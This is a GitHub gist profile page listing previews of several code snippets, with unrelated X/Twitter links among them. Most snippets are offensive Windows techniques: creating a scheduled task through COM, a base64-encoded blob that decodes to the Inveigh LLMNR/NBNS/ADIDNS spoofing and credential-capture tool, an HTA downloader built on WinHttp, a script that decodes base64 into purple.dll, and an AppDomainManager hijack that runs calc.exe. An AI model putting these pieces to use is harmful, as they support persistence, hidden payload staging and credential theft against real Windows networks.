Skip to content

Instantly share code, notes, and snippets.

View justaguywhocodes's full-sized avatar

Toussaint Louverture justaguywhocodes

View GitHub Profile
# Create a COM object for the Task Scheduler service
$service = New-Object -ComObject Schedule.Service
# Connect to the local Task Scheduler service
$service.Connect()
# Get the root task folder
$rootFolder = $service.GetFolder("\")
# Create a new task definition
ZnVuY3Rpb24gSW52b2tlLUludmVpZ2gKewo8IwouU1lOT1BTSVMKVGhpcyBmdW5jdGlvbiBpcyBh
IFdpbmRvd3MgUG93ZXJTaGVsbCBBRElETlMvTExNTlIvTkJOUy9tRE5TL0ROUyBzcG9vZmVyLgoK
LkRFU0NSSVBUSU9OClRoaXMgZnVuY3Rpb24gaXMgYSBXaW5kb3dzIFBvd2VyU2hlbGwgQURJRE5T
L0xMTU5SL05CTlMvbUROUy9ETlMgc3Bvb2Zlci9tYW4taW4tdGhlLW1pZGRsZSB0b29sIHdpdGgK
Y2hhbGxlbmdlL3Jlc3BvbnNlIGNhcHR1cmUgb3ZlciBIVFRQL0hUVFBTL1Byb3h5L1NNQi4KCi5Q
QVJBTUVURVIgQURJRE5TCkRlZmF1bHQgPSBOb25lOiAoQ29tYm8vTlMvV2lsZGNhcmQpIExpc3Qg
b2YgQURJRE5TIHNwb29maW5nIGF0dGFja3MuIENvbWJvIGxvb2tzIGF0IExMTU5SL05CTlMgcmVx
dWVzdHMgYW5kIGFkZHMKYSByZWNvcmQgdG8gRE5TIGlmIHRoZSBzYW1lIHJlcXVlc3QgaXMgcmVj
ZWl2ZWQgZnJvbSBtdWx0aXBsZSBzeXN0ZW1zLiBOUyBpbmplY3RzIGFuIE5TIHJlY29yZCBhbmQg
aWYgbmVlZGVkLCBhIHRhcmdldCByZWNvcmQuClRoaXMgaXMgcHJpbWFyaWx5IGZvciB0aGUgR1FC
https://pbs.twimg.com/media/G0Gs_FtWoAAuQNd?format=jpg&name=small
https://x.com/iowahawkblog/status/1963933532910141547/photo/2
https://x.com/alx/status/1962886866014736853?s=46
<!-- test -->
<html>
<head>
<title>Proxy Download Example</title>
<HTA:APPLICATION ID="ProxyDownload" APPLICATIONNAME="Proxy Download" BORDER="thin" BORDERSTYLE="normal" SINGLEINSTANCE="yes" WINDOWSTATE="normal" />
<script language="JScript">
function downloadFile() {
try {
// Create WinHTTP request object
var winHttp = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
# Read the Base64-encoded file
$base64String = Get-Content -Path "encodedfile.txt" -Raw
# Decode the Base64 string to bytes
$decodedBytes = [System.Convert]::FromBase64String($base64String)
# Save the decoded bytes to purple.dll
[System.IO.File]::WriteAllBytes("purple.dll", $decodedBytes)
https://x.com/metalgearobama/status/1957930039946944702
using System;
using System.Diagnostics; // Add this for Process.Start
public class MyAppDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
// Launch calc.exe instead of showing a message box
Process.Start("calc.exe");
}